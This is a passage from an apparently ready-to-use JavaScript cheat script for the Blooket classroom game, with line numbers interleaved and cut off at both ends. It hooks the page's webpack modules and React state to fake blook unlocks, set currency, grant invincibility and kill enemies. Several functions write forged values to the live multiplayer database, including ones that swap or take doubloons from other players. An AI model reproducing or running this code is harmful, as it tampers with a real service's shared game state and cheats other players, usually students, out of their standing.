angVelocity: Object(I.l)(-150, 150),
604
lifespan: 2500
605
};
606
case "right-shower": return {
607
x: scene.scene.cameras.main.worldView.width,
608
y: Object(I.l)(0, scene.scene.cameras.main.worldView.height),
609
scale: Object(I.l)(.7, 1),
610
angle: Object(I.l)(-180, -130),
611
velocity: Object(I.l)(600, 750),
612
gravity: 500,
613
angVelocity: Object(I.l)(-175, -125),
614
lifespan: 2500
615
};
616
case "left-shower": return {
617
x: 0,
618
y: Object(I.l)(0, scene.scene.cameras.main.worldView.height),
619
scale: Object(I.l)(.7, 1),
620
angle: Object(I.l)(-50, 0),
621
velocity: Object(I.l)(600, 750),
622
gravity: 500,
623
angVelocity: Object(I.l)(125, 175),
624
lifespan: 2500
625
};
626
case "right-diamond": {
627
var a = Object(I.l)(0, scene.scene.cameras.main.worldView.height);
628
return {
629
x: scene.scene.cameras.main.worldView.width,
630
y: a,
631
scale: Object(I.l)(.7, 1),
632
angle: a > scene.scene.cameras.main.worldView.height / 2 ? -150 : -210,
633
velocity: Object(I.l)(600, 750),
634
gravity: 0,
635
angVelocity: Object(I.l)(-175, -125),
636
lifespan: 2500
637
}
638
}
639
case "left-diamond": {
640
var n = Object(I.l)(0, scene.scene.cameras.main.worldView.height);
641
return {
642
x: 0,
643
y: n,
644
scale: Object(I.l)(.7, 1),
645
angle: n > scene.scene.cameras.main.worldView.height / 2 ? -30 : 30,
646
velocity: Object(I.l)(600, 750),
647
gravity: 0,
648
angVelocity: Object(I.l)(125, 175),
649
lifespan: 2500
650
}
651
}
652
default: return {};
653
}
654
};
655
if (scene.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) {
656
switch (scene.rarity) {
657
case "Uncommon": {
658
for (let i = 0; i < 2; i++) {
659
let n = scene.particles.get();
660
n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`))
661
}
662
break;
663
}
664
case "Rare": {
665
for (var o = 0; o < 2; o++) {
666
var r = scene.particles.get();
667
r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`))
668
}
669
break;
670
}
671
case "Epic": {
672
for (var s = 0; s < 2; s++) {
673
var i = scene.particles.get();
674
i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`))
675
}
676
break;
677
}
678
case "Legendary": {
679
for (var l = 0; l < 3; l++) {
680
var c = scene.particles.get();
681
c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`))
682
}
683
break;
684
}
685
case "Chroma": {
686
for (var u = 0; u < 3; u++) {
687
var d = scene.particles.get();
688
d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`))
689
}
690
break;
691
}
692
}
693
this.nextParticle = 20;
694
this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0));
695
}
696
}
697
}
698
const allBlooks = Object.values(webpack.c).find(x => x.exports?.a?.Elephant).exports.a;
699
stateNode.setState({
700
loadingPack: false,
701
openPack: true,
702
unlockedBlook: blook,
703
tokens: stateNode.state.tokens,
704
newUnlock: true,
705
game: {
706
type: phaser.WEBGL,
707
parent: "phaser-market",
708
width: "100%",
709
height: "100%",
710
scale: { mode: phaser.Scale.NONE, autoCenter: phaser.Scale.CENTER_BOTH },
711
transparent: true,
712
physics: { default: "arcade" },
713
scene: new Particles(allBlooks[blook].rarity)
714
},
715
canOpen: true
716
});
717
} else alert("I couldn't find that box!");
718
}
719
},
720
{
721
name: "Simulate Unlock",
722
description: "Simulate unlocking most of the blooks",
723
run: function () {
724
let i = document.createElement('iframe');
725
document.body.append(i);
726
window.alert = i.contentWindow.alert.bind(window);
727
window.prompt = i.contentWindow.prompt.bind(window);
728
i.remove();
729
if (window.location.pathname == "/market") {
730
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]);
731
let values = Object.values(webpack.c),
732
blooks = values.find(x => x.exports?.a?.Black).exports.a,
733
packs = values.find(x => typeof x.exports.a?.Breakfast == "number").exports.a,
734
allBlooks = Object.entries(blooks).reduce((a, [b, c]) => (packs[c.realSet || c.set] && (a[b] = c), a), {});
735
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
736
let phaser = values.find(x => x.exports?.Class).exports;
737
let L = new function e() { this.scene = null, this.particles = null, this.rarity = null };
738
739
class Particles extends phaser.Scene {
740
constructor(rarity) {
741
super();
742
this.rarity = rarity.toLowerCase();
743
}
744
preload() {
745
switch (this.rarity) {
746
case "uncommon":
747
this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 });
748
this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 });
749
this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 });
750
this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 });
751
this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 });
752
this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 });
753
this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 });
754
break;
755
case "rare":
756
this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 });
757
this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 });
758
this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 });
759
this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 });
760
this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 });
761
this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 });
762
this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 });
763
break;
764
case "epic":
765
this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 });
766
this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 });
767
this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 });
768
this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 });
769
this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 });
770
this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 });
771
this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 });
772
break;
773
case "legendary":
774
this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 });
775
this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 });
776
this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 });
777
this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 });
778
this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 });
779
this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 });
780
this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 });
781
break;
782
case "chroma":
783
this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 });
784
this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 });
785
this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 });
786
this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 });
787
this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 });
788
this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 });
789
this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 });
790
}
791
}
792
create() {
793
L.scene = this;
794
L.rarity = "";
795
L.particles = this.physics.add.group({
796
classType: new phaser.Class({
797
Extends: phaser.GameObjects.Image,
798
initialize: function () {
799
phaser.GameObjects.Image.call(this, L.scene, 0, 0, "uncommon-1");
800
this.setDepth(3);
801
this.lifespan = 0;
802
},
803
spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) {
804
this.setTexture(texture);
805
this.setActive(true);
806
this.setVisible(true);
807
this.setPosition(x, y);
808
this.setScale(scale);
809
this.targets = [];
810
L.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity);
811
this.body.setGravityY(gravity);
812
this.body.setAngularVelocity(angle);
813
this.lifespan = lifespan;
814
},
815
update: function (t, s) {
816
this.lifespan -= s;
817
if (this.lifespan > 0) return;
818
this.setActive(!1);
819
this.setVisible(!1);
820
}
821
}),
822
runChildUpdate: !0
823
});
824
this.nextParticle = 0;
825
this.numExplosions = 0;
826
this.game.events.on("start-particles", (t) => {
827
L.rarity = t;
828
this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1;
829
});
830
}
831
update(e, t) {
832
const I = webpack("74sb");
833
let Z = function (e) {
834
switch (e) {
835
case "center": {
836
var t = Object(I.l)(-115, -65);
837
return {
838
x: L.scene.cameras.main.worldView.width / 2,
839
y: L.scene.cameras.main.worldView.height / 2,
840
scale: Object(I.l)(.7, 1),
841
angle: t,
842
velocity: Object(I.l)(600, 750),
843
gravity: 700,
844
angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175),
845
lifespan: 2500
846
}
847
}
848
case "right-bottom": return {
849
x: L.scene.cameras.main.worldView.width,
850
y: L.scene.cameras.main.worldView.height,
851
scale: Object(I.l)(.7, 1),
852
angle: Object(I.l)(-160, -110),
853
velocity: Object(I.l)(600, 750),
854
gravity: 500,
855
angVelocity: Object(I.l)(-175, -125),
856
lifespan: 2500
857
};
858
case "left-bottom": return {
859
x: 0,
860
y: L.scene.cameras.main.worldView.height,
861
scale: Object(I.l)(.7, 1),
862
angle: Object(I.l)(-70, -20),
863
velocity: Object(I.l)(600, 750),
864
gravity: 500,
865
angVelocity: Object(I.l)(125, 175),
866
lifespan: 2500
867
};
868
case "top": return {
869
x: Object(I.l)(0, L.scene.cameras.main.worldView.width),
870
y: -50,
871
scale: Object(I.l)(.7, 1),
872
angle: 90,
873
velocity: Object(I.l)(0, 50),
874
gravity: 700,
875
angVelocity: Object(I.l)(-150, 150),
876
lifespan: 2500
877
};
878
case "right-shower": return {
879
x: L.scene.cameras.main.worldView.width,
880
y: Object(I.l)(0, L.scene.cameras.main.worldView.height),
881
scale: Object(I.l)(.7, 1),
882
angle: Object(I.l)(-180, -130),
883
velocity: Object(I.l)(600, 750),
884
gravity: 500,
885
angVelocity: Object(I.l)(-175, -125),
886
lifespan: 2500
887
};
888
case "left-shower": return {
889
x: 0,
890
y: Object(I.l)(0, L.scene.cameras.main.worldView.height),
891
scale: Object(I.l)(.7, 1),
892
angle: Object(I.l)(-50, 0),
893
velocity: Object(I.l)(600, 750),
894
gravity: 500,
895
angVelocity: Object(I.l)(125, 175),
896
lifespan: 2500
897
};
898
case "right-diamond": {
899
var a = Object(I.l)(0, L.scene.cameras.main.worldView.height);
900
return {
901
x: L.scene.cameras.main.worldView.width,
902
y: a,
903
scale: Object(I.l)(.7, 1),
904
angle: a > L.scene.cameras.main.worldView.height / 2 ? -150 : -210,
905
velocity: Object(I.l)(600, 750),
906
gravity: 0,
907
angVelocity: Object(I.l)(-175, -125),
908
lifespan: 2500
909
}
910
}
911
case "left-diamond": {
912
var n = Object(I.l)(0, L.scene.cameras.main.worldView.height);
913
return {
914
x: 0,
915
y: n,
916
scale: Object(I.l)(.7, 1),
917
angle: n > L.scene.cameras.main.worldView.height / 2 ? -30 : 30,
918
velocity: Object(I.l)(600, 750),
919
gravity: 0,
920
angVelocity: Object(I.l)(125, 175),
921
lifespan: 2500
922
}
923
}
924
default: return {};
925
}
926
};
927
if (L.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) {
928
switch (L.rarity) {
929
case "Uncommon": {
930
for (let i = 0; i < 2; i++) {
931
let n = L.particles.get();
932
n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`))
933
}
934
break;
935
}
936
case "Rare": {
937
for (var o = 0; o < 2; o++) {
938
var r = L.particles.get();
939
r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`))
940
}
941
break;
942
}
943
case "Epic": {
944
for (var s = 0; s < 2; s++) {
945
var i = L.particles.get();
946
i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`))
947
}
948
break;
949
}
950
case "Legendary": {
951
for (var l = 0; l < 3; l++) {
952
var c = L.particles.get();
953
c && c.spawn.apply(c, Object.values(Z("top")).concat(`legendary-${Object(I.m)(1, 8)}`))
954
}
955
break;
956
}
957
case "Chroma": {
958
for (var u = 0; u < 3; u++) {
959
var d = L.particles.get();
960
d && d.spawn.apply(d, Object.values(Z(u % 2 == 0 ? "left-diamond" : "right-diamond")).concat(`chroma-${Object(I.m)(1, 8)}`))
961
}
962
break;
963
}
964
}
965
this.nextParticle = 20;
966
this.numExplosions > 0 && (this.numExplosions = Math.max(this.numExplosions - 1, 0));
967
}
968
}
969
}
970
let blook = prompt("What blook do you want to simulate opening? (Case Sensitive)");
971
if (allBlooks[blook]) stateNode.setState({
972
loadingPack: false,
973
openPack: true,
974
unlockedBlook: blook,
975
tokens: stateNode.state.tokens,
976
newUnlock: true,
977
game: {
978
type: phaser.WEBGL,
979
parent: "phaser-market",
980
width: "100%",
981
height: "100%",
982
scale: { mode: phaser.Scale.NONE, autoCenter: phaser.Scale.CENTER_BOTH },
983
transparent: true,
984
physics: { default: "arcade" },
985
scene: new Particles(allBlooks[blook].rarity)
986
},
987
canOpen: true
988
});
989
else if (blook) alert("Invalid blook! Make sure you spelled and capitalized it properly, the blook also needs a buyable pack in the market.");
990
} else alert("This can only be ran on the market page!");
991
}
992
},
993
{
994
name: "Use Any Blook",
995
description: "Allows you to play as any blook",
996
run: function () {
997
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
998
const blooks = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a;
999
if (location.pathname == "/blooks") stateNode.setState({ blookData: Object.keys(blooks).reduce((a, b) => (a[b] = (stateNode.state.blookData[b] || 1), a), {}), allSets: Object.values(blooks).reduce((a, b) => (a.includes(b.set) ? a : a.concat(b.set)), []) });
1000
else if (Array.isArray(stateNode.state.unlocks)) stateNode.setState({ unlocks: Object.keys(blooks) });
1001
else stateNode.setState({ unlocks: blooks });
1002
}
1003
}
1004
],
1005
voyage: [
1006
{
1007
name: "Max Levels",
1008
description: "Maxes out all islands and your boat",
1009
run: function () {
1010
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1011
stateNode.setState({ islandLevels: new Array(stateNode.state.islandLevels.length).fill(5) }, stateNode.updateBoatLevel);
1012
}
1013
},
1014
{
1015
name: "Set Doubloons",
1016
description: "Sets Doubloons",
1017
run: function () {
1018
let i = document.createElement('iframe');
1019
document.body.append(i);
1020
window.prompt = i.contentWindow.prompt.bind(window);
1021
i.remove();
1022
let doubloons = parseInt(prompt("How many doubloons do you want?")) || 0;
1023
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1024
stateNode.setState({ doubloons });
1025
stateNode.props.liveGameController.setVal({
1026
path: `c/${stateNode.props.client.name}/d`,
1027
val: doubloons
1028
});
1029
}
1030
},
1031
{
1032
name: "Start Heist",
1033
description: "Starts a heist on someone",
1034
run: function () {
1035
let i = document.createElement('iframe');
1036
document.body.append(i);
1037
window.prompt = i.contentWindow.prompt.bind(window);
1038
i.remove();
1039
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1040
1041
stateNode.props.liveGameController.getDatabaseVal("c", function (val) {
1042
const players = Object.entries(val || {}).reduce((a, [name, c]) => (name == stateNode.props.client.name && a.push({ name, blook: c.b, doubloons: c.d || 0 }), a), []);
1043
if (players.length === 0) {
1044
stateNode.questionsToAnswer = 1;
1045
return void stateNode.randomQ();
1046
}
1047
const { name, blook, doubloons } = players.find(x => x.name == prompt("Who would you like to heist? (Defaults to top player if no one found)")) || players.sort((a, b) => b.doubloons - a.doubloons)[0];
1048
stateNode.setState({
1049
stage: "heist",
1050
heistInfo: { name, blook },
1051
prizeAmount: Math.max(1000, doubloons)
1052
});
1053
});
1054
}
1055
},
1056
{
1057
name: "Swap Doubloons",
1058
description: "Swaps Doubloons with someone",
1059
run: async function () {
1060
let i = document.createElement('iframe');
1061
document.body.append(i);
1062
window.prompt = i.contentWindow.prompt.bind(window);
1063
i.remove();
1064
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1065
let players = Object.entries(await new Promise(r => stateNode.props.liveGameController.getDatabaseVal("c", r))).sort((a, b) => b[1].d - a[1].d).filter(x => x[0] != stateNode.props.client.name),
1066
target = players.find(x => x[0] == prompt("Who would you like to swap with? (Defaults to top player if no one found)")) || players[0];
1067
stateNode.props.liveGameController.setVal({
1068
path: `c/${stateNode.props.client.name}`,
1069
val: {
1070
b: stateNode.props.client.blook,
1071
d: target[1].d,
1072
tat: `${target[0]}:${target[1].d - stateNode.state.doubloons}`
1073
}
1074
});
1075
stateNode.setState({ doubloons: target[1].d });
1076
}
1077
},
1078
{
1079
name: "Take Doubloons",
1080
description: "Takes Doubloons from someone",
1081
run: async function (player) {
1082
let i = document.createElement('iframe');
1083
document.body.append(i);
1084
window.prompt = i.contentWindow.prompt.bind(window);
1085
i.remove();
1086
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1087
let players = Object.entries(await new Promise(r => stateNode.props.liveGameController.getDatabaseVal("c", r))).sort((a, b) => b[1].d - a[1].d).filter(x => x[0] != stateNode.props.client.name),
1088
target = players.find(x => x[0] == prompt("Who would you like to take from? (Defaults to top player if no one found)")) || players[0];
1089
stateNode.setState({ doubloons: stateNode.state.doubloons + target[1].d });
1090
stateNode.props.liveGameController.setVal({
1091
path: `c/${stateNode.props.client.name}`,
1092
val: {
1093
b: stateNode.props.client.blook,
1094
d: target[1].d,
1095
tat: `${target[0]}:${target[1].d}`
1096
}
1097
});
1098
}
1099
}
1100
],
1101
brawl: [
1102
{
1103
name: "Double Enemy XP",
1104
description: "Doubles enemy XP drop value",
1105
run: function () {
1106
for (const collider of Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) {
1107
const enemies = collider.object2;
1108
let _start = enemies.classType.prototype.start;
1109
enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.val *= 2 }
1110
enemies.children.entries.forEach(e => e.val *= 2);
1111
}
1112
}
1113
},
1114
{
1115
name: "Half Enemy Speed",
1116
description: "Makes enemies move 2x slower",
1117
run: function () {
1118
for (const collider of Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) {
1119
const enemies = collider.object2;
1120
let _start = enemies.classType.prototype.start;
1121
enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.speed *= .5 }
1122
enemies.children.entries.forEach(e => e.speed *= .5);
1123
}
1124
}
1125
},
1126
{
1127
name: "Instant Kill",
1128
description: "Sets all enemies health to 1",
1129
run: function () {
1130
for (const collider of Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) {
1131
const enemies = collider.object2;
1132
let _start = enemies.classType.prototype.start;
1133
enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.hp = 1 }
1134
enemies.children.entries.forEach(e => e.hp = 1);
1135
}
1136
}
1137
},
1138
{
1139
name: "Invincibility",
1140
description: "Makes you invincible",
1141
run: function () {
1142
for (const collider of Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) collider.collideCallback = () => { };
1143
}
1144
},
1145
{
1146
name: "Magnet",
1147
description: "Pulls all xp towards you",
1148
run: function () {
1149
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('magnetTime')).collideCallback({ active: true }, { active: true, setActive() { }, setVisible() { } });
1150
}
1151
},
1152
{
1153
name: "Max Current Abilities",
1154
description: "Maxes out all your current abilities",
1155
run: function () {
1156
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1157
for (const [ability, level] of Object.entries(stateNode.state.abilities)) for (let i = 0; i < (10 - level); i++) stateNode.state.game.scene.game.events.emit("level up", ability, stateNode.state.abilities[ability]++);
1158
stateNode.setState({
1159
level: stateNode.state.game.scene.level = [1, 3, 5, 10, 15, 25, 35].sort((a, b) => Math.abs(a - stateNode.state.level) - Math.abs(b - stateNode.state.level))[0] - 1
1160
});
1161
}
1162
},
1163
{
1164
name: "Next Level",
1165
description: "Skips to the next level",
1166
run: function () {
1167
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1168
let { object1: player, object2: xp } = stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('emit("xp"'));
1169
xp.get().spawn(player.x, player.y, ((e) => 1 === e ? 1 : e < 5 ? 5 : e < 10 ? 10 : e < 20 ? 20 : e < 30 ? 30 : e < 40 ? 40 : e < 50 ? 50 : 100)(stateNode.state.level) - stateNode.xp);
1170
}
1171
},
1172
{
1173
name: "Remove Obstacles",
1174
description: "Removes all rocks and obstacles",
1175
run: function () {
1176
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(body => {
1177
try {
1178
if (body.gameObject.frame.texture.key.includes("obstacle")) body.gameObject.destroy();
1179
} catch { }
1180
});
1181
}
1182
},
1183
{
1184
name: "Kill Enemies",
1185
description: "Kills all current enemies",
1186
run: function () {
1187
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1));
1188
}
1189
},
1190
{
1191
name: "Reset Health",
1192
description: "Resets health and gives invincibility for 3 seconds",
1193
run: function () {
1194
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.state.game.scene.game.events._events.respawn.fn();
1195
}
1196
}
1197
],
1198
cafe: [
1199
{
1200
name: "Max Items",
1201
description: "Maxes out items in the shop (Only usable in the shop)",
1202
run: function () {
1203
let i = document.createElement('iframe');
1204
document.body.append(i);
1205
window.alert = i.contentWindow.alert.bind(window);
1206
i.remove();
1207
if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop");
1208
else {
1209
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1210
stateNode.setState({ items: Object.fromEntries(Object.entries(stateNode.state.items).map(x => [x[0], 5])) });
1211
}
1212
}
1213
},
1214
{
1215
name: "Remove Customers",
1216
description: "Skips the current customers (Not usable in the shop)",
1217
run: function () {
1218
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1219
stateNode.state.customers.forEach((customer, i) => Object.keys(customer).length && stateNode.removeCustomer(i, true));
1220
}
1221
},
1222
{
1223
name: "Reset Abilities",
1224
description: "Resets used abilities in shop (Only usable in the shop)",
1225
run: function () {
1226
let i = document.createElement('iframe');
1227
document.body.append(i);
1228
window.alert = i.contentWindow.alert.bind(window);
1229
i.remove();
1230
if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop");
1231
else {
1232
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1233
stateNode.setState({ abilities: Object.fromEntries(Object.entries(stateNode.state.abilities).map(x => [x[0], 5])) });
1234
}
1235
}
1236
},
1237
{
1238
name: "Set Cash",
1239
description: "Sets cafe cash",
1240
run: function () {
1241
let i = document.createElement('iframe');
1242
document.body.append(i);
1243
window.prompt = i.contentWindow.prompt.bind(window);
1244
i.remove();
1245
let cafeCash = Number(parseInt(prompt("How much cash would you like?")));
1246
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1247
stateNode.setState({ cafeCash });
1248
stateNode.props.liveGameController.setVal({
1249
path: `c/${stateNode.props.client.name}`,
1250
val: {
1251
b: stateNode.props.client.blook,
1252
ca: cafeCash
1253
}
1254
});
1255
}
1256
},
1257
{
1258
name: "Stock Food",
1259
description: "Stocks all food to 99 (Not usable in the shop)",
1260
run: function () {
1261
let i = document.createElement('iframe');
1262
document.body.append(i);
1263
window.alert = i.contentWindow.alert.bind(window);
1264
i.remove();
1265
if (window.location.pathname !== "/cafe") alert("This can't be run in the shop");
1266
else {
1267
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
1268
stateNode.setState({ foods: stateNode.state.foods.map(e => ({ ...e, stock: 99, level: 5 })) });
1269
}
1270
}
1271
}
1272
],
1273
hack: [
1274
{
1275
name: "Choice ESP",
1276
description: "Shows what each choice will give you",
1277
type: "toggle",
1278
enabled: false,
1279
data: null,
1280
run: function () {
1281
if (!this.enabled) {
1282
this.enabled = true;
1283
this.data = setInterval(() => {
1284
